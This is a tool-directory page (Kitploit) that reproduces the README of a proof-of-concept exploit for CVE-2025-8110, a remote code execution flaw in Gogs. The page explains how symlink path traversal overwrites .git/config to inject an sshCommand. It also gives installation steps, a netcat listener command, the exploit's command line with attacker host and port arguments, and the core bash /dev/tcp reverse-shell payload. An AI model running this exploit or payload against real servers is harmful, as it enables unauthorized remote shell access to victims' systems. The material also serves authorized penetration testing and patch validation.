Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-8110 — Proof-of-concept exploit for CVE-2025-8110, a Gogs RCE vulnerability exploiting path traversal via symbolic links and sshCommand injection to deliver a reverse shell. | Kitploit
Tools/GitHubGitHub/ghxstsec/cve-2025-8110
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRed TeamingPayload Development
GitHubghxstsec/cve-2025-8110

CVE-2025-8110

Proof-of-concept exploit for CVE-2025-8110, a Gogs RCE vulnerability exploiting path traversal via symbolic links and sshCommand injection to deliver a reverse shell.

View Repository
534 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

Gogs RCE Exploit (CVE-2025-8110)

Python License Expertise

A Proof of Concept (PoC) for CVE-2025-8110, a critical vulnerability in Gogs that allows Remote Code Execution (RCE) via .git/config manipulation using symbolic link bypasses and sshCommand injection.

📖 Overview

This exploit targets a Path Traversal flaw in the Gogs API content management. An authenticated user can:

  1. Create a repository and push a symbolic link pointing to the internal .git/config.
  2. Use the API to overwrite the target config file via the symlink.
  3. Inject a malicious sshCommand to execute a Reverse Shell when the server performs Git operations.

🚀 Features

  • Automated Workflow: Handles login, repo creation, symlink deployment, and poisoning.
  • Robust Encoding: Automatically URL-encodes credentials to handle special characters (e.g., !, @).
  • Rich Output: High-visibility logging using the Rich library.

🛠 Prerequisites

  • Python 3.12+
  • Git installed on the local system.
  • Valid credentials on the target Gogs instance.

📦 Installation

  1. Clone the repository:
    root@kitploit:~
    git clone https://github.com/Ghxstsec/CVE-2025-8110.git
    cd CVE-2025-8110
    

Install dependencies:

root@kitploit:~
pip3 install -r requirements.txt

💻 Usage

Start your listener:

root@kitploit:~
nc -lvnp 6666

Run the exploit:

root@kitploit:~
python3 CVE-2025-8110-RCE.py -u [http://target-gogs.htb:3000](http://target-gogs.htb:3000) -lh <YOUR_IP> -lp 6666 -p 'YourPassword123!'

Arguments:

Core of the vulnerability:

sshCommand = bash -c 'bash -i >& /dev/tcp/IP/PORT 0>&1' #

When Gogs executes a Git command that requires network transport (like a mirror sync or internal reference check), it invokes the sshCommand, triggering the reverse shell.

⚠️ Legal Disclaimer: This tool is for educational and authorized security testing purposes only. The author is not responsible for any misuse or damage caused by this script. Unauthorized access to computer systems is illegal.

Download Tool
ArgumentDescription
-u, --urlBase URL of the target Gogs instance (e.g., http://target.htb:3000).
-lh, --hostAttacker IP (LHOST) where the reverse shell will connect back.
-lp, --portListener Port (LPORT) configured on your machine.
-p, --passwordPassword for the pwnuser account to perform authentication.
-x, --proxy(Optional) Routes traffic through a local proxy (default: http://localhost:8080).